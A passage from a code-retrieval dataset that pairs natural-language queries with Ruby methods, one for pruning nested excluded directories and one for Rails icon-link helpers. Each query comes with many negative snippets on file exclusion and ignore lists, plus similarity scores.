replace_module(mod1, mod2) end", "def override_value(param, value)\n self.instance_variable_set(\"@#{param}\", value)\n end", "def insert_component_after(name, component)\n # iterate over all components, find the component with the given name\n # once found, insert the given component at the following location and return\n components.each_with_index do |c, i|\n if c.name == name\n components.insert(i + 1, component)\n return\n end\n end\n\n components << component\n end", "def component_template(component)\n component.id_handle(id: component[:ancestor_id]).create_object\n end", "def replace_parent( parent_hash, new_parent_hash )\n \n unregister_parent( parent_hash )\n \n register_parent( new_parent_hash )\n \n return self\n \n end", "def add_available_component(component)\n if available_components.include?(component.name)\n raise ArgumentError, \"Component already '#{component.name}' already defined\"\n end\n available_components[component.name] = component\n end", "def add_component( component, **init_values )\n\t\tself.world.add_component_to( self, component, **init_values )\n\tend", "def update\n\t\[email protected] do |comp|\n\t\t\tcomp.update\n\t\tend\n\tend", "def call(component)\n fail NotImplementedError\n end", "def inherit(node)\n vcard.remove\n super\n self\n end", "def inherit(node)\n welo_node.remove\n super\n end", "def component_css_class\n ''\n end", "def component_instance(name_or_config, overrides = {})\n cfg = name_or_config.is_a?(Hash) ? name_or_config : component_config(name_or_config, overrides)\n return nil if cfg.nil? || cfg[:excluded]\n\n klass = cfg.klass || cfg.class_name.constantize\n klass.new(cfg, self)\n end" ]
[ "0.6217935", "0.5851744", "0.5851744", "0.5740516", "0.56353927", "0.56353927", "0.55662876", "0.5557204", "0.5469669", "0.5343248", "0.5308913", "0.5260245", "0.5260245", "0.5237003", "0.52104384", "0.51787484", "0.5177196", "0.5165983", "0.5153559", "0.5137964", "0.5131073", "0.5122056", "0.5121653", "0.5112257", "0.5108367", "0.50851494", "0.5071096", "0.50675267", "0.50340897", "0.50130135", "0.49999472", "0.49967483", "0.49967483", "0.49945223", "0.49843234", "0.4982101", "0.49669522", "0.494814", "0.49225447", "0.48851037", "0.48822773", "0.48822773", "0.48822773", "0.48816103", "0.4878104", "0.4875134", "0.48729816", "0.4869675", "0.4869675", "0.48557147", "0.48534104", "0.48534104", "0.48534104", "0.48493794", "0.48363107", "0.48336142", "0.48336142", "0.479375", "0.47925967", "0.47912955", "0.47794616", "0.477403", "0.47722492", "0.47719815", "0.47706625", "0.4769584", "0.47550058", "0.4745956", "0.47376418", "0.47359368", "0.47352058", "0.4732447", "0.47249478", "0.47125617", "0.47040182", "0.47021526", "0.4699974", "0.46949324", "0.46838784", "0.46762407", "0.46762103", "0.4675191", "0.467144", "0.46647802", "0.46530548", "0.46436676", "0.46430036", "0.4637972", "0.46294403", "0.46192566", "0.46144256", "0.46085906", "0.46069047", "0.46062922", "0.4601189", "0.45979148", "0.45958826", "0.45952332", "0.45918623", "0.45899743" ]
0.5616872
6
Don't exclude things that are subdirectories of other excluded things
def net_excluded_directories net = [] all = self.excluded_directories.map { |dir| buildr_project._(dir.to_s) }.sort_by { |d| d.size } all.each_with_index do |dir, i| unless all[0 ... i].find { |other| dir =~ /^#{other}/ } net << dir end end net end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def exclude_dir\n @exclude_dirs.map { |p| Pathname.new(path) + p }.select(&:exist?)\n end", "def exclude\n @_exclude ||= Set.new %w(test spec tmp features config public db).map{ |path| Padrino.root(path) }\n end", "def excluded_files() = []", "def apply_exclusions paths\n paths.reject do |path|\n excludes.any? do |pattern|\n globs = pattern.split(\"\\\\\")\n components = path.split(\"/\")\n\n # Inno Setup includes a feature in which you can anchor excludes at\n # the root by starting the exclude with a \"\\\". Since I don't want\n # to make this more complicated than I have to, I'm not implementing\n # this feature at this time.\n if globs[0] == \"\"\n raise \"Can't handle anchored exclude #{pattern}\"\n end\n \n globs_match_strings_anywhere? globs, components\n end\n end\n end", "def ignore_paths\n Dir.glob(\"**/*\").select { |f| File.directory? f }\n .collect { |name| \"#{name}/\" }\n - [\"app/\",\n \"app/views/\",\n \"app/views/branded/\",\n \"app/views/branded/public_pages/\",\n \"app/views/branded/home/\",\n \"app/views/branded/contact_us/\",\n \"app/views/branded/contact_us/contacts/\",\n \"app/views/branded/shared/\",\n \"app/views/branded/layouts/\",\n \"app/views/branded/static_pages/\"]\nend", "def excludes\n return Dir.chdir( base ) {\n %w(. .. .svn .git .hg CVS Rakefile) + files_for_erb +\n Dir.glob( '*~' ) + Dir.glob( '#*#' ) + Dir.glob( '*.bak' )\n }\n end", "def process_exclusions globs\n remainder = globs.select do |glob|\n if glob_is_directory?(glob)\n exdir = File.join(directory, glob_to_directory(glob))\n included.delete_if { |file| file.start_with?(exdir) }\n false\n else\n true\n end\n end\n process_globs remainder\n end", "def ignore_parent_exclusion; end", "def exclusions\n project.exclusions + %w(\n **/.git\n **/.hg\n **/.svn\n **/.gitkeep\n )\n end", "def process_exclusions(globs); end", "def exclude_paths \n @exclude_paths ||= /^#{admin_prefix}$/\n end", "def ignore_parent_exclusion?; end", "def excluded\n return [] if directory.empty? || directory == '*'\n @excluded ||= process_exclusions(@raw_data['exclude'])\n end", "def ignore_includes\n ret = []\n ret << \"_includes/jekyll/**/*\"\n ret << [\"_includes/styleguide\", \"_includes/styleguide/**/*\"]\n ret << \"_includes/*.html\"\n ret << [\"_includes/atoms/figure\", \"_includes/atoms/figure/*\"]\n ret << [\"_includes/atoms/sanitize.html\", \"_includes/atoms/imagetitle.html\", \"_includes/atoms/classname.html\"]\n ret\n end", "def blacklisted_dir_entries\n %w[. ..]\n end", "def skip_paths; end", "def exclude_ignored_paths(dirs, ignore_paths = self.ignore_paths)\n Dir.glob(dirs.map { |d| \"#{d.sub(%r{/+$}, '')}/*\" }, File::FNM_DOTMATCH).reject do |path|\n ignore_paths.include?(File.basename(path))\n end\n end", "def exclude_files(files, pwd)\n Dir.chdir(pwd)\n exclusions = @engine_config['exclude_paths'] || []\n files.reject { |f| exclusions.include?(f) }\n end", "def exclude_dirs=(rval)\n @exclude_dirs = rval.map { |d| d.is_a?(Pathname) ? d : Pathname.new(d) }\n end", "def excluded_files\n # TODO: also append files marked as %{exclude} (or handle elsewhere?)\n missing_files_for(upstream_gem)\n end", "def unix_exclusions\n exclude '/boot'\n exclude '/dev'\n exclude '/etc/fstab'\n exclude '/etc/hosts'\n exclude '/etc/init.d/nova-agent*'\n exclude '/etc/driveclient'\n exclude '/etc/initramfs-tools'\n exclude '/etc/issue'\n exclude '/etc/issue.net'\n exclude '/etc/lvm'\n exclude '/etc/mdadm*'\n exclude '/etc/mtab'\n exclude '/etc/mod*'\n exclude '/etc/network/'\n exclude '/etc/network.d/*'\n exclude '/etc/networks'\n exclude '/etc/rc3.d/S99Galaxy'\n exclude '/etc/resolv.conf'\n exclude '/etc/sysconfig/network'\n exclude '/etc/sysconfig/network-scripts/*'\n exclude '/etc/system-release'\n exclude '/etc/system-release-cpe'\n exclude '/etc/udev'\n exclude '/etc/prelink*'\n exclude '/etc/rc.conf'\n exclude '/etc/conf.d/net'\n exclude '/lib/init/rw'\n exclude '/lib/firmware'\n exclude '/lib/modules'\n exclude '/lib/udev'\n exclude '/root/.rackspace'\n exclude '/mnt'\n exclude '/net'\n exclude '/opt/galaxy/'\n exclude '/proc'\n exclude '/sys'\n exclude '/tmp'\n exclude '/usr/sbin/nova-agent*'\n exclude '/usr/share/initramfs-tools'\n exclude '/usr/share/nova-agent*'\n exclude '/var/cache/yum/*'\n exclude '/var/lib/initramfs-tools'\n exclude '/var/lock'\n exclude '/var/log'\n end", "def ignored\n [\n '.agignore',\n '.cvsignore',\n '.gitignore',\n '.hgignore',\n ].map do |file_with_ignore_patterns|\n if File.exist? file_with_ignore_patterns\n patterns = File.read(file_with_ignore_patterns).split(\"\\n\")\n patterns.map do |pattern|\n next if pattern =~ /^#/\n next if pattern =~ /^\\s*$/\n \"-not \\\\( -path \\\"*#{pattern}*\\\" -prune \\\\)\"\n end.compact.join(' ')\n else\n ''\n end\n end.join(' ') + [\n \"-not \\\\( -path \\\"*\\\\.git*\\\" -prune \\\\)\"\n ].join(' ')\nend", "def find_command_excludes(from, cwd, exclude_paths)\n exclude_paths.map { |path| \"-not \\\\( -path #{File.join(from, cwd, path)} -prune \\\\)\" }\n end", "def ignore_dirs(path)\n self.ignored_dirs= path\n end", "def load_file_exclusions\n return unless config_hash[\"Exclude Files\"]\n config_options[:excluded_files] = []\n config_hash[\"Exclude Files\"].each do |short_file|\n config_options[:excluded_files] << File.join(starting_path, short_file)\n end\n end", "def ignore_assets\n ret = []\n ret << [\"assets/styles/atoms/flex\", \"assets/styles/atoms/flex/*\"]\n ret << [\"assets/styles/styleguide\", \"assets/styles/styleguide/**/*\"]\n ret << \"assets/styles/**/*.liquid\"\n ret << \"assets/styles/**/*.css\"\n ret << \"assets/styles/*.scss\"\n ret\n end", "def exclude(path)\n excludes << path\n end", "def excludes\n @excludes ||= []\n end", "def exclude(*files)\n files = to_artifacts(files)\n @excludes |= files\n @excludes |= files.reject { |f| f =~ /\\*$/ }.map { |f| \"#{f}/*\" }\n self\n end", "def exclude; end", "def excluded_spec_files\r\n # NOTE, testing only for faster develping agent, remove a couple of test later\r\n [\"selected_scripts_spec.rb\", \"03_passenger_spec.rb\"]\r\nend", "def ignored_files\n all_files.select { |f| ignore_matcher.matched?(f) }\n end", "def filter_directories(modified_files); end", "def exclude?(file)\n File.directory?(file) ||\n file.starts_with?(File.join(self.root_dir, 'samples')) ||\n File.basename(file).starts_with?('_')\n end", "def exclude_paths\n @source_paths ||= []\n end", "def get_exclusions\n return \"\" if !has_git_ignores? || !has_git? \n git_ignore = File.join PWD, \".gitignore\"\n exclusions = `cat #{git_ignore}`.split(\"\\n\") \n # ensure we remove any commented out .gitignores\n exclusions = exclusions.select { |exclusion| exclusion[0,1] != '#' }\n exclusions = exclusions - @task_config[:always_include] \n if @dry_run\n puts wrap_top(\"EXCLUSIONS:\")\n puts exclusions.join(\"\\n\") \n end\n exclusions\n end", "def exclude(*files)\n @paths[''].exclude *files\n self\n end", "def excluded; end", "def should_be_excluded(potential_matches, exclude_paths)\n potential_matches.each do |potential_match|\n if exclude_paths.any? { |pattern| potential_match.match(/#{pattern}/i) }\n return true\n end\n end\n false\nend", "def excluded_spec_files\r\n # NOTE, testing only for faster develping agent, remove a couple of test later\r\n [\"selected_scripts_spec.rb\", \"passenger_spec.rb\"]\r\nend", "def ignore_parent_exclusion=(_arg0); end", "def exclude_files(list, excluded)\n list.reject { |entry| excluded.any? { |f| File.identical?(f, entry) }}\n end", "def exclude_files(list, excluded)\n list.reject { |entry| excluded.any? { |f| File.identical?(f, entry) }}\n end", "def ignore(spec)\n if spec[0] == '/'\n @ignored << \"#{spec}\"\n @ignored << \"#{spec}/**\"\n else\n @ignored << \"**/#{spec}\"\n @ignored << \"**/#{spec}/**\"\n end\n end", "def set_exclude # separate function for readability since there are many files\n # exclude files from 'crypto'\n @exclude = %w{ armcap.c LPdir_nyi.c LPdir_unix.c\n LPdir_vms.c LPdir_win32.c LPdir_win.c\n LPdir_wince.c mem_clr.c o_dir_test.c\n ppccap.c s390xcap.c sparcv9cap.c }\n @exclude.map!{ |f| File.join 'crypto', f }\n\n # no exclusions in these subdirectories:\n # objects seed modes dso buffer stack err asn1 pem x509 txt_db pkcs12 comp ocsp ui\n # krb5 cms ts cmac\n\n # the code below is just a compact way of getting a list like this:\n # @exclude = [ md4/md4.c, md4/md4test.c, md5/md5.c, md5/md5test.c, ... ]\n #\n ex = []\n ex << %w{ md4.c md4test.c }; ex << 'md4'\n ex << %w{ md5.c md5test.c }; ex << 'md5'\n ex << %w{ sha1.c sha.c sha1test.c\n shatest.c sha256t.c sha512t.c }; ex << 'sha'\n ex << %w{ mdc2test.c }; ex << 'mdc2'\n ex << %w{ hmactest.c }; ex << 'hmac'\n ex << %w{ rmd160.c rmdtest.c }; ex << 'ripemd'\n ex << %w{ wp_test.c }; ex << 'whrlpool'\n ex << %w{ cbc3_enc.c des_opts.c des.c destest.c\n speed.c read_pwd.c ncbc_enc.c rpw.c }; ex << 'des'\n ex << %w{ aes_cbc.c aes_core.c aes_x86core.c }; ex << 'aes'\n ex << %w{ rc2test.c rc2speed.c tab.c }; ex << 'rc2'\n ex << %w{ rc4.c rc4_enc.c rc4_skey.c rc4speed.c rc4test.c }; ex << 'rc4'\n ex << %w{ idea_spd.c ideatest.c }; ex << 'idea'\n ex << %w{ bf_cbc.c bf_opts.c bfspeed.c bftest.c }; ex << 'bf'\n ex << %w{ castopts.c cast_spd.c casttest.c }; ex << 'cast'\n ex << %w{ camellia.c cmll_cbc.c }; ex << 'camellia'\n ex << %w{ divtest.c bntest.c vms-helper.c bnspeed.c\n expspeed.c exptest.c bn_asm.c exp.c }; ex << 'bn'\n ex << %w{ ectest.c }; ex << 'ec'\n ex << %w{ rsa_test.c }; ex << 'rsa'\n ex << %w{ dsagen.c dsatest.c }; ex << 'dsa'\n ex << %w{ ecdsatest.c }; ex << 'ecdsa'\n ex << %w{ p1024.c p512.c dhtest.c p192.c }; ex << 'dh'\n ex << %w{ ecdhtest.c }; ex << 'ecdh'\n ex << %w{ enginetest.c }; ex << 'engine'\n ex << %w{ bf_lbuf.c bss_rtcp.c }; ex << 'bio'\n ex << %w{ lh_test.c }; ex << 'lhash'\n ex << %w{ rand_vms.c randtest.c }; ex << 'rand'\n ex << %w{ e_dsa.c evp_test.c openbsd_hw.c }; ex << 'evp'\n ex << %w{ v3prin.c v3conf.c tabtest.c }; ex << 'x509v3'\n ex << %w{ cnf_save.c test.c }; ex << 'conf'\n ex << %w{ verify.c example.c bio_ber.c enc.c\n pk7_dgst.c pk7_enc.c dec.c sign.c }; ex << 'pkcs7'\n ex << %w{ pq_test.c }; ex << 'pqueue'\n ex << %w{ srptest.c }; ex << 'srp'\n\n ex.each_slice( 2 ){ |list, dir| add_ex list, dir }\n\n # exclude files in engines/ccgost\n @exclude << File.join( 'engines', 'ccgost', 'gostsum.c' )\n\n # exclude directories in 'crypto'\n ex = %w{ jpake store rc5 threads md2 perlasm }\n ex.map!{ |f| File.join 'crypto', f }\n @exclude += ex\n end", "def excluded_spec_files\n # NOTE, testing only for faster develping agent, remove a couple of test later\n [\"selected_scripts_spec.rb\", \"passenger_spec.rb\"]\nend", "def ignoring\n %w{*_test.lua *_spec.lua .*}\n end", "def all_files_except_git\n Dir.glob('*', File::FNM_DOTMATCH).delete_if { |file| file =~ /\\A\\.{1,2}\\z|\\A\\.git\\z/ }\n end", "def ignore_paths(options)\n source = options['source']\n destination = options['destination']\n config_files = Configuration[options].config_files(options)\n paths = config_files + Array(destination)\n ignored = []\n\n source_abs = Pathname.new(source).expand_path\n paths.each do |p|\n path_abs = Pathname.new(p).expand_path\n begin\n rel_path = path_abs.relative_path_from(source_abs).to_s\n ignored << Regexp.new(Regexp.escape(rel_path)) unless rel_path.start_with?('../')\n rescue ArgumentError\n # Could not find a relative path\n end\n end\n ignored\n end", "def exclude_opts\n excludes.map { |exclude_pattern|\n \"--exclude='#{exclude_pattern}'\"\n }.join(' ')\n end", "def check_if_work_dir_excluded\n File.open('.git/info/exclude').each_line.any? do |line|\n line ==\"#{work_dir(true)}\\n\"\n end\n end", "def ignore!(*regexps)\n directories_records.each { |r| r.ignore!(*regexps) }\n self\n end", "def excluded?(path)\n strings = EXCLUDES.select { |item| item.class == String }\n regexps = EXCLUDES.select { |item| item.class == Regexp }\n excluded = strings.include? path\n regexps.each do |pattern|\n excluded = true if path =~ pattern\n end\n return excluded\nend", "def files_omit\n %w(map.html)\nend", "def skipDeps(deps) \n deps = deps.select { |ding| !ding.include?(\"/commons-cli\") }\n deps = deps.select { |ding| !ding.include?(\"/commons-logging\") }\n deps = deps.select { |ding| !ding.include?(\"/commons-lang-2.1\") }\n deps = deps.select { |ding| !ding.include?(\"/commons-pool\") }\n return deps\nend", "def ignore(*regexps)\n directories_records.each { |r| r.ignore(*regexps) }\n self\n end", "def excludes(*paths)\n self.excluded_files.concat(expand_globs(paths))\n end", "def default_excluded_files\n ['config/environment.rb', 'lib/main.rb', 'config/boot.rb', 'bin/IronNails.Library.dll' ].collect{ |dir| \"#{root_path}/#{dir}\" }\n end", "def target_exclude_files() = ['terraform.tfstate']", "def ignore_paths\n [/MT/, /\\.mt-attrs/]\n end", "def should_be_skipped_by_paths?(filepath)\n exclude_by_paths = options[:exclude_by_paths]\n filter_by_paths = options[:filter_by_paths]\n exclude_by_paths.any? { |pattern| pattern.match?(filepath) } ||\n (filter_by_paths && !filter_by_paths.empty? && !filter_by_paths.any? { |pattern| pattern.match?(filepath) })\n end", "def excluded_territories\n territories if type == 'exclude'\n end", "def exclude(f, ex)\n\treturn false if ex.empty?\n\tex.each { |d|\t\treturn true if File.fnmatch(d,File.basename(f) )}\n\tfalse\nend", "def manifest_files\n files = []\n exclude = Regexp.new(PROJ.exclude.join('|'))\n Find.find '.' do |path|\n path.sub! %r/^(\\.\\/|\\/)/o, ''\n next unless test ?f, path\n next if path =~ exclude\n files << path\n end\n files.sort!\nend", "def find_all_ignored\n skipped = []\n\n rubocop = YAML.load_file('./.rubocop.yml')\n rubocop['AllCops']['Exclude'].each do |ignored|\n skipped << ignored.split('/')[0]\n end\n\n skipped\nend", "def exclude(*files)\n @exclude += files.flatten\n self\n end", "def filter_dir_list!(dir_list, filter = nil)\n filter ||= [ /^(\\.)+$/, # . and ..\n /^\\.(.)*/ # beginning with .\n ]\n dir_list.delete_if { |element| match_filter?(element, filter) }\n end", "def ignore(*globs)\n @ignore.concat(globs) unless globs.empty?\n @ignore\n end", "def unneeded_files_in_destination\n requested_paths = files.map do |file|\n file.pkg_destination_path\n end\n\n existing_paths = FileFinders::Normal.new(destination_path).find_all('*')\n\n unnecessary_paths = existing_paths - requested_paths\n\n unnecessary_paths.select! do |path|\n !::File.directory?(File.join(destination_path, path))\n end\n\n unnecessary_paths\n end", "def excluded?(file)\n file = File.join(Dir.pwd, file) unless file.start_with?('/')\n Codeqa.configuration.excludes.any?{ |pattern| match_path?(pattern, file) }\n end", "def keep_dirs\n site.keep_files.flat_map { |file| parent_dirs(site.in_dest_dir(file)) }.to_set\n end", "def subdirectories\n Dir.glob(File.join(base_path, \"*\")).reject { |i| !File.directory?(i) }\n end", "def keep_dirs; end", "def filter_out_descendants(dirs)\n return dirs if dirs.length < 2\n\n dirs_sorted_by_nparts = dirs.sort_by { |dir| dir.each_filename.to_a.length }\n descendants = []\n\n until dirs_sorted_by_nparts.empty?\n dir = dirs_sorted_by_nparts.shift\n\n dirs_sorted_by_nparts.reject! do |possible_descendant|\n ascendant_of?(dir, possible_descendant) && descendants << possible_descendant\n end\n end\n\n # Array#- preserves order.\n dirs - descendants\n end", "def skip_paths=(_arg0); end", "def excluded_feature_files\r\n [\"ignore.feature\", \"bad_test.feature\", \"03_passenger.feature\"]\r\nend", "def copy_exclude\n @copy_exclude ||= Array(configuration.fetch(:copy_exclude, []))\n end", "def copy_exclude\n @copy_exclude ||= Array(configuration.fetch(:copy_exclude, []))\n end", "def centos_exclusions\n exclude '/etc/yum.repos.d/'\n exclude '/usr/lib/yum-plugins'\n exclude '/etc/yum.conf'\n exclude '/etc/yum'\n exclude '/etc/yum.repos.d'\n exclude '/etc/sysconfig/iptables'\n end", "def find_files_without(source_path, ignored_paths, end_with = \"*.rb\")\n files_paths = Dir.glob(\"./#{source_path}/**/#{end_with}\")\n files_paths.select do |file_path|\n ignored_paths.map do |path|\n file_path.include?(\"/#{path}/\")\n end.none?\n end\n end", "def inclusions; end", "def exclude\n all - methods\n end", "def ignore_exts\n @ext_rules.reject\n end", "def exclusions\n @exclusions ||= []\n end", "def exclusions\n @exclusions ||= []\n end", "def ignore!(*globs)\n @ignore.replace(globs)\n @ignore\n end", "def filter_entries(entries)\n entries = entries.reject do |e|\n unless ['.htaccess'].include?(e)\n ['_', '#'].include?(e[0..0]) ||\n e[-1..-1] == '~' ||\n File.symlink?(e)\n end\n end\n end", "def exclude(*files)\n filter.exclude *files\n self\n end", "def excludes?(path)\n excludes.any? {|f| path[-(f.size+1)..-1] == \"/#{f}\" }\n end", "def clean_paths\n cached_used = used_files\n glob_options = File::FNM_DOTMATCH | File::FNM_CASEFOLD\n files = Pathname.glob(root + \"**/*\", glob_options).map(&:to_s)\n\n files.reject! do |candidate|\n candidate = candidate.downcase\n candidate.end_with?('.', '..') || cached_used.any? do |path|\n path = path.downcase\n path.include?(candidate) || candidate.include?(path)\n end\n end\n files\n end", "def exclude(pattern)\n excludes << pattern\n end", "def excluded\n @ancestors - @picked\n end", "def filter_nonexistent(modified_files); end", "def feature_excluded?(file)\n !file.start_with?(Padrino.root) || exclude.any?{ |excluded_path| file.start_with?(excluded_path) }\n end", "def goodPath(path)\n\n # all non-js files are automatically excluded since we're tagging JS\n return false unless path =~ /\\.js$/\n \n # exclude anything matching an exclude entry, unless overridden by a\n # matching include pattern\n $excludes.each do |exre|\n unless (path =~ exre).nil?\n return false unless $includes.size > 0\n $includes.each do |inre|\n return !(path =~ inre).nil?\n end\n end \n end\n return true\n\nend", "def no_extension_files(base_dir, wildcard, non_exts = [])\n list = []\n unless non_exts.empty?\n list = Dir.glob(File.join(base_dir, wildcard, \"{#{non_exts.join(',')}}\"))\n end\n list\n end", "def auto_exclude\n self.exclude ||= true if !!(address.to_s.match(/p\\.?\\s?o\\.?\\sbox/i)) || # PO Boxes\n !!(self.del_flag.to_s.match(/\\W/)) ||\n !!(self.del_block.to_s.match(/\\W/)) ||\n !!(self.order_block.to_s.match(/\\W/)) ||\n #account_number.split(/\\-/).first.to_i > 700000 || # distributors, internal accounts\n marked_for_deletion? || # those which have deleted-type words in the name\n self.class.excluded_accounts.include?(self.account_number) # those which are flagged in the yaml file\n end", "def hide_tree(*classOrModules)\n\t\tclassOrModules.each do |classOrModule|\n\t\t\t@ignored_tree[classOrModule] = true\n\t\tend\n\tend", "def add_path_to_git_exclude\n return if check_if_work_dir_excluded\n\n if File.exists? work_dir\n say_status(:quiet, 'FATAL', \"Directory #{work_dir(true).inspect} already exists. Aborting.\", :red)\n exit\n end\n File.open('.git/info/exclude', 'a') { |f| f.puts work_dir(true) }\n end" ]
[ "0.7640305", "0.7480123", "0.74511415", "0.7405409", "0.7363529", "0.7317784", "0.7256852", "0.7212629", "0.71903944", "0.7178808", "0.7165311", "0.7072369", "0.69164747", "0.69031", "0.67741275", "0.67739356", "0.6750786", "0.6703186", "0.66887844", "0.6682781", "0.6639183", "0.6589053", "0.65601236", "0.6558895", "0.6549992", "0.64998776", "0.6420921", "0.6408855", "0.63938475", "0.6387954", "0.63730997", "0.6371809", "0.6348759", "0.63467556", "0.63318413", "0.6328215", "0.63249016", "0.63140714", "0.6309346", "0.630188", "0.6293095", "0.6289614", "0.6289614", "0.62886465", "0.62871796", "0.62848365", "0.6252302", "0.6222502", "0.62193584", "0.62143177", "0.6194368", "0.6194063", "0.61842036", "0.6171954", "0.6164498", "0.61439073", "0.6127708", "0.60918015", "0.6082491", "0.60820335", "0.6049783", "0.60459864", "0.6036251", "0.6032457", "0.6020475", "0.6018099", "0.6014667", "0.59987366", "0.5994117", "0.598305", "0.5961072", "0.5950707", "0.59464127", "0.594227", "0.59409875", "0.5938825", "0.5926016", "0.5926016", "0.5923769", "0.59221107", "0.5921514", "0.59059745", "0.5901225", "0.58823895", "0.58823895", "0.5862774", "0.58619356", "0.5859331", "0.58590734", "0.5845484", "0.5837102", "0.58126396", "0.5810864", "0.5810286", "0.581013", "0.5808276", "0.5796011", "0.57638437", "0.57615465" ]
0.6936999
13
Handle missing methods so we can do fancy URL hooks. This is what gives us "edit_player_icon" and "new_game_icon"
def method_missing_with_icon_links(method_id, *args) method = method_id.to_s # special catch for "run_icon", where it really means "run_run_icon" method = "#{$1}_#{$1}_icon" if method =~ /^([a-z]+)_icon$/ if method =~ /^([a-z]+)_(.+)_icon$/ options = args.last.is_a?(Hash) ? args.pop : {} if options.has_key?(:if) return icon_tag(:clear) unless options.delete(:if) end type = $1 meth = $2 icon = options.delete(:icon) || type unless label = options.delete(:label) label = meth.dup IconLinks.remove_prefixes_for_labels.each {|prefix| break if label.sub!(/^#{prefix}_/, '')} label = label.titleize end # Note: We pass *either* args OR options to a given xxx_path() method, # depending on whether it's a collection or member method. url = '' case type when 'new' url = send("new_#{meth}_path", options) #options[:rel] = "gb_page_center[600, 500]" # greybox options[:title] ||= "Create a new #{label}" return icon_to(icon, url, options) when 'ajaxnew' url = send("new_#{meth}_path", options) #options[:rel] = "gb_page_center[600, 500]" # greybox options[:title] ||= "Create a new #{label}" return icon_to(icon, url, options) when 'edit' url = send("edit_#{meth}_path", args) #options[:rel] = "gb_page_center[600, 500]" # greybox options[:title] ||= "Edit this #{label}" return icon_to(icon, url, options) when 'delete' url = send("#{meth}_path", args) options[:method] ||= :delete options[:title] ||= "Delete this #{label}" return icon_to(icon, url, options) when 'ajaxdelete' # Delete a record with an id, ala user_path(user) # Fancy AJAX, so that it deletes the row in-place options[:url] ||= send("#{meth}_path", args) options[:method] ||= 'delete' show = options.delete(:show) || args.first target = show.is_a?(ActiveRecord::Base) ? "#{show.class.name.to_s.underscore}_#{show.to_param}" : "#{show.to_param}" #options[:update] ||= target options[:success] ||= "$('#{options[:update]}').hide;alert('success');" # I hate that sometimes in Rails, you need a fucking :html subelement htmlopt = {:title => "Delete this #{label}"} # If no condition, set a toggle so that we tell if we have clicked # on the button, and can collapse it appropriately. unless options[:condition] options[:id] = "#{options[:update]}_icon" end return link_to_remote(icon_tag(type, :id => options[:id]), options, htmlopt) when 'list' # Main index, this does NOT have an id, ie users_path # Fancy AJAX, so that it expands/collapses a sub-row options_without_update = options.dup options_without_update.delete(:update) url = send("#{meth.pluralize}_path", options_without_update) show = options.delete(:show) || options.values.first target = show.is_a?(ActiveRecord::Base) ? "show_#{show.class.name.to_s.underscore}_#{show.to_param}" : "show_#{show.to_param}" options[:update] ||= target options[:url] ||= url options[:method] ||= 'get' options[:complete] ||= "$('#{options[:update]}').show();" # I hate that sometimes in Rails, you need a fucking :html subelement htmlopt = {:title => "List #{label.pluralize}"} # If no condition, set a toggle so that we tell if we have clicked # on the button, and can collapse it appropriately. extra_js = '' unless options[:condition] options[:id] = "#{options[:update]}_icon" var = "loaded_#{options[:update]}" options[:before] = "#{var} = !#{var};" + " if (#{var}) { $('#{options[:update]}').hide();"+ " $('#{options[:id]}').src = '#{icon_url(:show)}'; return false }"+ " else { $('#{options[:id]}').src = '#{icon_url(:loading)}' }" options[:complete] += "$('#{options[:id]}').src = '#{icon_url(:hide)}';" # Don't use javascript_tag or, ironically, Prototype chokes extra_js = '<script type="text/javascript">' + "#{var} = true;" + '</script>' end return extra_js + link_to_remote(icon_tag(:show, :id => options[:id]), options, htmlopt) when 'show' # Show a record with an id, ala user_path(user) # Fancy AJAX, so that it expands/collapses a sub-row options[:url] ||= send("#{meth}_path", args) options[:method] ||= 'get' show = options.delete(:show) || args.first target = show.is_a?(ActiveRecord::Base) ? "show_#{show.class.name.to_s.underscore}_#{show.to_param}" : "show_#{show.to_param}" options[:update] ||= target options[:complete] ||= "$('#{options[:update]}').show();" # I hate that sometimes in Rails, you need a fucking :html subelement htmlopt = {:title => "Show more about this #{label}"} # If no condition, set a toggle so that we tell if we have clicked # on the button, and can collapse it appropriately. extra_js = '' unless options[:condition] options[:id] = "#{options[:update]}_icon" var = "loaded_#{options[:update]}" options[:before] = "#{var} = !#{var};" + " if (#{var}) { $('#{options[:update]}').hide();"+ " $('#{options[:id]}').src = '#{icon_url(:show)}'; return false }"+ " else { $('#{options[:id]}').src = '#{icon_url(:loading)}' }" options[:complete] += "$('#{options[:id]}').src = '#{icon_url(:hide)}';" # Don't use javascript_tag or, ironically, Prototype chokes extra_js = '<script type="text/javascript">' + "#{var} = true;" + '</script>' end return extra_js + link_to_remote(icon_tag(type, :id => options[:id]), options, htmlopt) when 'view' # Like "show", but we changed it to "view" to indicate new page # main index, this does NOT have an id url = send("#{meth}_path", args) options[:title] ||= "View this #{label}" return icon_to(icon, url, options) else # This generic handler handles all other actions options[:title] ||= "#{type.titleize} this #{label}" if options[:url] url = options.delete(:url) url[:controller] ||= meth.pluralize if url.is_a? Hash url[:id] ||= args[:id] if url.is_a? Hash and args.is_a? Hash elsif type == meth # call "run_path" for "run_run_icon" url = send("#{meth}_path", args) else # call "review_revision_path" for "review_revision_icon" url = send("#{type}_#{meth}_path", args) end if options[:remote] htmlopt = {} htmlopt[:title] = options.delete(:title) if options.has_key?(:title) htmlopt[:id] = options.delete(:id) if options.has_key?(:id) options[:url] = url return link_to_remote(icon_tag(icon), options, htmlopt) else return icon_to(icon, url, options) end end end method_missing_without_icon_links(method_id, args) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def icon_no_link_processing(method, url=nil, alt=nil, label=method.humanize)\n\n if (label == 'Destroy')\n label = 'Delete';\n end\n\n return nil unless (filename = method_to_icon_filename(method.downcase))\n \n # if method.to_s == \"info\"\n # make into cool javascript div thing!\n \n image_options = alt ? { :alt => alt } : { :alt => method.humanize }\n img_tag = image_tag(filename, image_options)\n \n inner = img_tag;\n inner = \"#{img_tag} #{label}\" unless label == nil\n\n if (url)\n inner = url + inner + \"</a>\"\n end\n\n return '<span class=\"icon\">' + inner + '</span>';\n end", "def icon_no_link_processing(method, url=nil, alt=nil, label=method.humanize)\n\n if (label == 'Destroy')\n label = 'Delete';\n end\n\n return nil unless (filename = method_to_icon_filename(method.downcase))\n \n # if method.to_s == \"info\"\n # make into cool javascript div thing!\n \n image_options = alt ? { :alt => alt } : { :alt => method.humanize }\n img_tag = image_tag(filename, image_options)\n \n inner = img_tag;\n inner = \"#{img_tag} #{label}\" unless label == nil\n\n if (url)\n inner = url + inner + \"</a>\"\n end\n\n return '<span class=\"icon\">' + inner + '</span>';\n end", "def crud_link_icon(action, options)\n action_str = 